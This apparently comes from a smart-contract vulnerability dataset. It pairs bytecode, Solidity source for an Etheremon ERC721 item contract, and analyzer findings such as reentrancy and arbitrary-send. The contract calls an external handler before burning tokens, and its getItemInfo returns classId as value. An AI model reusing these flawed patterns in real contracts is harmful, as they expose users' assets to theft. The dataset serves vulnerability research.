45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135fc81613131565b811461360757600080fd5b50565b61361381613143565b811461361e57600080fd5b50565b61362a8161316f565b811461363557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d297e03a20bd4abd364efc937211367f3833a8062a5cb21c4c4f3b58ba01eca664736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,796 |
0x08c81a23cb8f9034a78dd41d7bbcf1a40482c2b7
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract SupportsInterface is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
constructor() public {
supportedInterfaces[0x01ffc9a7] = true; // ERC165
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return supportedInterfaces[_interfaceID];
}
}
interface ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface ERC721Metadata {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
contract NFToken is ERC721, SupportsInterface {
using SafeMath for uint256;
using AddressUtils for address;
// A mapping from NFT ID to the address that owns it.
mapping (uint256 => address) internal idToOwner;
// Mapping from NFT ID to approved address.
mapping (uint256 => address) internal idToApprovals;
// Mapping from owner address to count of his tokens.
mapping (address => uint256) internal ownerToNFTokenCount;
// Mapping from owner address to mapping of operator addresses.
mapping (address => mapping (address => bool)) internal ownerToOperators;
/**
* @dev Magic value of a smart contract that can recieve NFT.
* Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")).
*/
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == msg.sender || getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender]);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0));
_;
}
constructor() public {
supportedInterfaces[0x80ac58cd] = true; // ERC721
}
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToNFTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (address _owner) {
_owner = idToOwner[_tokenId];
require(_owner != address(0));
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId) external canOperate(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApprovals[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
require(_operator != address(0));
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) public view validNFToken(_tokenId) returns (address) {
return idToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
require(_owner != address(0));
require(_operator != address(0));
return ownerToOperators[_owner][_operator];
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) internal canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from);
require(_to != address(0));
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _transfer(address _to, uint256 _tokenId) private {
address from = idToOwner[_tokenId];
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_tokenId != 0);
require(idToOwner[_tokenId] == address(0));
addNFToken(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) validNFToken(_tokenId) internal {
clearApproval(_tokenId);
removeNFToken(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(uint256 _tokenId) private {
if(idToApprovals[_tokenId] != 0) {
delete idToApprovals[_tokenId];
}
}
function removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from);
assert(ownerToNFTokenCount[_from] > 0);
ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;
delete idToOwner[_tokenId];
}
function addNFToken(address _to, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == address(0));
idToOwner[_tokenId] = _to;
ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to].add(1);
}
}
contract NFTokenEnumerable is NFToken, ERC721Enumerable {
// Array of all NFT IDs.
uint256[] internal tokens;
// Mapping from token ID its index in global tokens array.
mapping(uint256 => uint256) internal idToIndex;
// Mapping from owner to list of owned NFT IDs.
mapping(address => uint256[]) internal ownerToIds;
// Mapping from NFT ID to its index in the owner tokens list.
mapping(uint256 => uint256) internal idToOwnerIndex;
constructor() public {
supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
uint256 length = tokens.push(_tokenId);
idToIndex[_tokenId] = length - 1;
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
assert(tokens.length > 0);
uint256 tokenIndex = idToIndex[_tokenId];
// Sanity check. This could be removed in the future.
assert(tokens[tokenIndex] == _tokenId);
uint256 lastTokenIndex = tokens.length - 1;
uint256 lastToken = tokens[lastTokenIndex];
tokens[tokenIndex] = lastToken;
tokens.length--;
// Consider adding a conditional check for the last token in order to save GAS.
idToIndex[lastToken] = tokenIndex;
idToIndex[_tokenId] = 0;
}
function removeNFToken(address _from, uint256 _tokenId) internal
{
super.removeNFToken(_from, _tokenId);
assert(ownerToIds[_from].length > 0);
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length - 1;
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
ownerToIds[_from].length--;
// Consider adding a conditional check for the last token in order to save GAS.
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
idToOwnerIndex[_tokenId] = 0;
}
function addNFToken(address _to, uint256 _tokenId) internal {
super.addNFToken(_to, _tokenId);
uint256 length = ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = length - 1;
}
function totalSupply() external view returns (uint256) {
return tokens.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < tokens.length);
// Sanity check. This could be removed in the future.
assert(idToIndex[tokens[_index]] == _index);
return tokens[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
}
contract NFTStandard is NFTokenEnumerable, ERC721Metadata {
string internal nftName;
string internal nftSymbol;
mapping (uint256 => string) internal idToUri;
constructor(string _name, string _symbol) public {
nftName = _name;
nftSymbol = _symbol;
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(idToUri[_tokenId]).length != 0) {
delete idToUri[_tokenId];
}
}
function _setTokenUri(uint256 _tokenId, string _uri) validNFToken(_tokenId) internal {
idToUri[_tokenId] = _uri;
}
function name() external view returns (string _name) {
_name = nftName;
}
function symbol() external view returns (string _symbol) {
_symbol = nftSymbol;
}
function tokenURI(uint256 _tokenId) validNFToken(_tokenId) external view returns (string) {
return idToUri[_tokenId];
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
interface EtheremonAdventureHandler {
function handleSingleItem(address _sender, uint _classId, uint _value, uint _target, uint _param) external;
function handleMultipleItems(address _sender, uint _classId1, uint _classId2, uint _classId3, uint _target, uint _param) external;
}
contract EtheremonAdventureItem is NFTStandard("EtheremonAdventure", "EMOND"), BasicAccessControl {
uint constant public MAX_OWNER_PERS_SITE = 10;
uint constant public MAX_SITE_ID = 108;
uint constant public MAX_SITE_TOKEN_ID = 1080;
// smartcontract
address public adventureHandler;
// class sites: 1 -> 108
// shard: 109 - 126
// level, exp
struct Item {
uint classId;
uint value;
}
uint public totalItem = MAX_SITE_TOKEN_ID;
mapping (uint => Item) items; // token id => info
modifier requireAdventureHandler {
require(adventureHandler != address(0));
_;
}
function setAdventureHandler(address _adventureHandler) onlyModerators external {
adventureHandler = _adventureHandler;
}
function setTokenURI(uint256 _tokenId, string _uri) onlyModerators external {
_setTokenUri(_tokenId, _uri);
}
function spawnSite(uint _classId, uint _tokenId, address _owner) onlyModerators external {
if (_owner == address(0)) revert();
if (_classId > MAX_SITE_ID || _classId == 0 || _tokenId > MAX_SITE_TOKEN_ID || _tokenId == 0) revert();
Item storage item = items[_tokenId];
if (item.classId != 0) revert(); // token existed
item.classId = _classId;
_mint(_owner, _tokenId);
}
function spawnItem(uint _classId, uint _value, address _owner) onlyModerators external returns(uint) {
if (_owner == address(0)) revert();
if (_classId < MAX_SITE_ID) revert();
totalItem += 1;
Item storage item = items[totalItem];
item.classId = _classId;
item.value = _value;
_mint(_owner, totalItem);
return totalItem;
}
// public write
function useSingleItem(uint _tokenId, uint _target, uint _param) isActive requireAdventureHandler public {
// check ownership
if (_tokenId == 0 || idToOwner[_tokenId] != msg.sender) revert();
Item storage item = items[_tokenId];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleSingleItem(msg.sender, item.classId, item.value, _target, _param);
_burn(msg.sender, _tokenId);
}
function useMultipleItem(uint _token1, uint _token2, uint _token3, uint _target, uint _param) isActive requireAdventureHandler public {
if (_token1 > 0 && idToOwner[_token1] != msg.sender) revert();
if (_token2 > 0 && idToOwner[_token2] != msg.sender) revert();
if (_token3 > 0 && idToOwner[_token3] != msg.sender) revert();
Item storage item1 = items[_token1];
Item storage item2 = items[_token2];
Item storage item3 = items[_token3];
EtheremonAdventureHandler handler = EtheremonAdventureHandler(adventureHandler);
handler.handleMultipleItems(msg.sender, item1.classId, item2.classId, item3.classId, _target, _param);
if (_token1 > 0) _burn(msg.sender, _token1);
if (_token2 > 0) _burn(msg.sender, _token2);
if (_token3 > 0) _burn(msg.sender, _token3);
}
// public read
function getItemInfo(uint _tokenId) constant public returns(uint classId, uint value) {
Item storage item = items[_tokenId];
classId = item.classId;
value = item.classId;
}
}
|
0x6080604052600436106101c15763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301ffc9a781146101c6578063030a78aa1461021157806306fdde0314610238578063081812fc146102c2578063095ea7b3146102f65780630b2c588c1461031c57806314d0f1ba1461033d578063162094c41461035e57806318160ddd146103825780631a5b8f961461039757806323b872dd146103ac5780632f745c59146103d65780633f1a1cac146103fa57806342842e0e1461041857806348ef5aa8146104425780634efb023e1461045c5780634f6ccce7146104885780636352211e146104a05780636c81fd6d146104b85780636e575537146104d957806370a08231146104ee5780638da5cb5b1461050f57806395d89b4114610524578063a22cb46514610539578063b239e2f11461055f578063b85d627514610574578063b88d4fde14610595578063b919be66146105ce578063bda4fd89146105f2578063c87b56dd14610607578063d33925451461061f578063de7fe3e714610646578063e985e9c514610677578063ebf06bcb1461069e578063ee4e4416146106c5578063f2853292146106da575b600080fd5b3480156101d257600080fd5b506101fd7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19600435166106fb565b604080519115158252519081900360200190f35b34801561021d57600080fd5b50610226610733565b60408051918252519081900360200190f35b34801561024457600080fd5b5061024d610739565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028757818101518382015260200161026f565b50505050905090810190601f1680156102b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ce57600080fd5b506102da6004356107cf565b60408051600160a060020a039092168252519081900360200190f35b34801561030257600080fd5b5061031a600160a060020a0360043516602435610811565b005b34801561032857600080fd5b5061031a600160a060020a0360043516610922565b34801561034957600080fd5b506101fd600160a060020a036004351661098f565b34801561036a57600080fd5b5061031a6004803590602480359081019101356109a4565b34801561038e57600080fd5b50610226610a1b565b3480156103a357600080fd5b50610226610a22565b3480156103b857600080fd5b5061031a600160a060020a0360043581169060243516604435610a27565b3480156103e257600080fd5b50610226600160a060020a0360043516602435610b0e565b34801561040657600080fd5b5061031a600435602435604435610b69565b34801561042457600080fd5b5061031a600160a060020a0360043581169060243516604435610c8c565b34801561044e57600080fd5b5061031a6004351515610ca8565b34801561046857600080fd5b50610471610cd2565b6040805161ffff9092168252519081900360200190f35b34801561049457600080fd5b50610226600435610cf4565b3480156104ac57600080fd5b506102da600435610d5c565b3480156104c457600080fd5b5061031a600160a060020a0360043516610d80565b3480156104e557600080fd5b50610226610e2d565b3480156104fa57600080fd5b50610226600160a060020a0360043516610e32565b34801561051b57600080fd5b506102da610e65565b34801561053057600080fd5b5061024d610e74565b34801561054557600080fd5b5061031a600160a060020a03600435166024351515610ed5565b34801561056b57600080fd5b506102da610f58565b34801561058057600080fd5b5061031a600160a060020a0360043516610f6c565b3480156105a157600080fd5b5061031a600160a060020a0360048035821691602480359091169160443591606435908101910135611013565b3480156105da57600080fd5b5061031a60043560243560443560643560843561104f565b3480156105fe57600080fd5b50610226611226565b34801561061357600080fd5b5061024d60043561122c565b34801561062b57600080fd5b50610226600435602435600160a060020a03604435166112f4565b34801561065257600080fd5b5061065e600435611391565b6040805192835260208301919091528051918290030190f35b34801561068357600080fd5b506101fd600160a060020a03600435811690602435166113a5565b3480156106aa57600080fd5b5061031a600435602435600160a060020a0360443516611400565b3480156106d157600080fd5b506101fd6114aa565b3480156106e657600080fd5b5061031a600160a060020a03600435166114b3565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19811660009081526020819052604090205460ff165b919050565b61043881565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107c55780601f1061079a576101008083540402835291602001916107c5565b820191906000526020600020905b8154815290600101906020018083116107a857829003601f168201915b5050505050905090565b6000818152600160205260408120548290600160a060020a031615156107f457600080fd5b5050600090815260026020526040902054600160a060020a031690565b6000818152600160205260408120548290600160a060020a03163381148061085c5750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b151561086757600080fd5b6000848152600160205260409020548490600160a060020a0316151561088c57600080fd5b600085815260016020526040902054600160a060020a03908116945086168414156108b657600080fd5b600085815260026020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a811691821790925591518893918816917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b600c54600160a060020a031633148061094f5750336000908152600d602052604090205460ff1615156001145b151561095a57600080fd5b600e8054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600d6020526000908152604090205460ff1681565b600c54600160a060020a03163314806109d15750336000908152600d602052604090205460ff1615156001145b15156109dc57600080fd5b610a168383838080601f01602080910402602001604051908101604052809392919081815260200183838082843750611506945050505050565b505050565b6005545b90565b606c81565b6000818152600160205260408120548290600160a060020a031633811480610a5f575033610a54836107cf565b600160a060020a0316145b80610a8d5750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b1515610a9857600080fd5b6000848152600160205260409020548490600160a060020a03161515610abd57600080fd5b600085815260016020526040902054600160a060020a03908116945087168414610ae657600080fd5b600160a060020a0386161515610afb57600080fd5b610b05868661154a565b50505050505050565b600160a060020a0382166000908152600760205260408120548210610b3257600080fd5b600160a060020a0383166000908152600760205260409020805483908110610b5657fe5b9060005260206000200154905092915050565b600e54600090819060ff1615610b7e57600080fd5b600e546101009004600160a060020a03161515610b9a57600080fd5b841580610bbe5750600085815260016020526040902054600160a060020a03163314155b15610bc857600080fd5b5050600083815260106020526040808220600e548154600183015484517f1b44a5ef00000000000000000000000000000000000000000000000000000000815233600482015260248101929092526044820152606481018790526084810186905292519193610100909104600160a060020a0316928392631b44a5ef9260a48084019391929182900301818387803b158015610c6357600080fd5b505af1158015610c77573d6000803e3d6000fd5b50505050610c8533866115c5565b5050505050565b610a168383836020604051908101604052806000815250611611565b600c54600160a060020a03163314610cbf57600080fd5b600e805460ff1916911515919091179055565b600c5474010000000000000000000000000000000000000000900461ffff1681565b6005546000908210610d0557600080fd5b8160066000600585815481101515610d1957fe5b9060005260206000200154815260200190815260200160002054141515610d3c57fe5b6005805483908110610d4a57fe5b90600052602060002001549050919050565b600081815260016020526040902054600160a060020a031680151561072e57600080fd5b600c54600160a060020a03163314610d9757600080fd5b600160a060020a0381166000908152600d602052604090205460ff161515610e2a57600160a060020a0381166000908152600d60205260409020805460ff19166001908117909155600c805461ffff7401000000000000000000000000000000000000000080830482169094011690920275ffff0000000000000000000000000000000000000000199092169190911790555b50565b600a81565b6000600160a060020a0382161515610e4957600080fd5b50600160a060020a031660009081526003602052604090205490565b600c54600160a060020a031681565b600a8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107c55780601f1061079a576101008083540402835291602001916107c5565b600160a060020a0382161515610eea57600080fd5b336000818152600460209081526040808320600160a060020a03871680855290835292819020805460ff1916861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b600e546101009004600160a060020a031681565b600c54600160a060020a03163314610f8357600080fd5b600160a060020a0381166000908152600d602052604090205460ff16151560011415610e2a57600160a060020a03166000908152600d60205260409020805460ff19169055600c805475ffff0000000000000000000000000000000000000000198116740100000000000000000000000000000000000000009182900461ffff9081166000190116909102179055565b610c8585858585858080601f01602080910402602001604051908101604052809392919081815260200183838082843750611611945050505050565b600e5460009081908190819060ff161561106857600080fd5b600e546101009004600160a060020a0316151561108457600080fd5b6000891180156110ab5750600089815260016020526040902054600160a060020a03163314155b156110b557600080fd5b6000881180156110dc5750600088815260016020526040902054600160a060020a03163314155b156110e657600080fd5b60008711801561110d5750600087815260016020526040902054600160a060020a03163314155b1561111757600080fd5b505050600086815260106020526040808220878352818320878452828420600e5483548354835487517f5477e571000000000000000000000000000000000000000000000000000000008152336004820152602481019390935260448301919091526064820152608481018a905260a48101899052945193965091949093610100909204600160a060020a0316928392635477e5719260c480830193919282900301818387803b1580156111ca57600080fd5b505af11580156111de573d6000803e3d6000fd5b5050505060008911156111f5576111f5338a6115c5565b60008811156112085761120833896115c5565b600087111561121b5761121b33886115c5565b505050505050505050565b600f5481565b6000818152600160205260409020546060908290600160a060020a0316151561125457600080fd5b6000838152600b602090815260409182902080548351601f6002600019610100600186161502019093169290920491820184900484028101840190945280845290918301828280156112e75780601f106112bc576101008083540402835291602001916112e7565b820191906000526020600020905b8154815290600101906020018083116112ca57829003601f168201915b5050505050915050919050565b600c546000908190600160a060020a03163314806113265750336000908152600d602052604090205460ff1615156001145b151561133157600080fd5b600160a060020a038316151561134657600080fd5b606c85101561135457600080fd5b50600f8054600190810180835560009081526010602052604090208681559081018590559054611385908490611863565b5050600f549392505050565b600090815260106020526040902054908190565b6000600160a060020a03831615156113bc57600080fd5b600160a060020a03821615156113d157600080fd5b50600160a060020a03918216600090815260046020908152604080832093909416825291909152205460ff1690565b600c54600090600160a060020a03163314806114305750336000908152600d602052604090205460ff1615156001145b151561143b57600080fd5b600160a060020a038216151561145057600080fd5b606c84118061145d575083155b80611469575061043883115b80611472575082155b1561147c57600080fd5b50600082815260106020526040902080541561149757600080fd5b8381556114a48284611863565b50505050565b600e5460ff1681565b600c54600160a060020a031633146114ca57600080fd5b600160a060020a03811615610e2a57600c8054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6000828152600160205260409020548290600160a060020a0316151561152b57600080fd5b6000838152600b6020908152604090912083516114a492850190611d3e565b600081815260016020526040902054600160a060020a031661156b826118b4565b61157581836118fc565b61157f83836119fd565b8183600160a060020a031682600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6115cf8282611a46565b6000818152600b6020526040902054600260001961010060018416150201909116041561160d576000818152600b6020526040812061160d91611dbc565b5050565b60008281526001602052604081205481908490600160a060020a03163381148061164b575033611640836107cf565b600160a060020a0316145b806116795750600160a060020a038116600090815260046020908152604080832033845290915290205460ff165b151561168457600080fd5b6000868152600160205260409020548690600160a060020a031615156116a957600080fd5b600087815260016020526040902054600160a060020a039081169550891685146116d257600080fd5b600160a060020a03881615156116e757600080fd5b6116f1888861154a565b61170388600160a060020a0316611b06565b1561121b576040517f150b7a020000000000000000000000000000000000000000000000000000000081523360048201818152600160a060020a038c81166024850152604484018b90526080606485019081528a5160848601528a51918d169463150b7a0294938f938e938e93909160a490910190602085019080838360005b8381101561179b578181015183820152602001611783565b50505050905090810190601f1680156117c85780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1580156117ea57600080fd5b505af11580156117fe573d6000803e3d6000fd5b505050506040513d602081101561181457600080fd5b505193507bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1984167f150b7a02000000000000000000000000000000000000000000000000000000001461121b57600080fd5b600061186f8383611b0e565b5060058054600181019091557f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db081018290556000918252600660205260409091205550565b600081815260026020526040902054600160a060020a031615610e2a576000908152600260205260409020805473ffffffffffffffffffffffffffffffffffffffff19169055565b600080600061190b8585611b97565b600160a060020a0385166000908152600760205260408120541161192b57fe5b600084815260086020908152604080832054600160a060020a03891684526007909252909120805491945060001982019350908390811061196857fe5b90600052602060002001549050806007600087600160a060020a0316600160a060020a03168152602001908152602001600020848154811015156119a857fe5b6000918252602080832090910192909255600160a060020a03871681526007909152604090208054906119df906000198301611e00565b50600090815260086020526040808220939093559283525081205550565b6000611a098383611c26565b50600160a060020a039091166000908152600760209081526040808320805460018101825590845282842081018590559383526008909152902055565b6000806000611a558585611cb6565b600554600010611a6157fe5b60008481526006602052604090205460058054919450859185908110611a8357fe5b9060005260206000200154141515611a9757fe5b600580546000198101935083908110611aac57fe5b9060005260206000200154905080600584815481101515611ac957fe5b6000918252602090912001556005805490611ae8906000198301611e00565b50600090815260066020526040808220939093559283525081205550565b6000903b1190565b600160a060020a0382161515611b2357600080fd5b801515611b2f57600080fd5b600081815260016020526040902054600160a060020a031615611b5157600080fd5b611b5b82826119fd565b6040518190600160a060020a038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600081815260016020526040902054600160a060020a03838116911614611bbd57600080fd5b600160a060020a03821660009081526003602052604081205411611bdd57fe5b600160a060020a03909116600090815260036020908152604080832080546000190190559282526001905220805473ffffffffffffffffffffffffffffffffffffffff19169055565b600081815260016020526040902054600160a060020a031615611c4857600080fd5b6000818152600160208181526040808420805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388169081179091558452600390915290912054611c9691611d2b565b600160a060020a0390921660009081526003602052604090209190915550565b6000818152600160205260409020548190600160a060020a03161515611cdb57600080fd5b611ce4826118b4565b611cee83836118fc565b6040518290600090600160a060020a038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a4505050565b81810182811015611d3857fe5b92915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611d7f57805160ff1916838001178555611dac565b82800160010185558215611dac579182015b82811115611dac578251825591602001919060010190611d91565b50611db8929150611e20565b5090565b50805460018160011615610100020316600290046000825580601f10611de25750610e2a565b601f016020900490600052602060002090810190610e2a9190611e20565b815481835581811115610a1657600083815260209020610a169181019083015b610a1f91905b80821115611db85760008155600101611e265600a165627a7a723058203ce36adf6919106d4ba457363ce953c9fb729233845f8e88ea57f7101932b67e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 7,797 |
0x7beef2ec3d62c61acaab302b59cd812a58dc4e3c
|
/**
*Submitted for verification at Etherscan.io on 2021-12-13
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-19
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
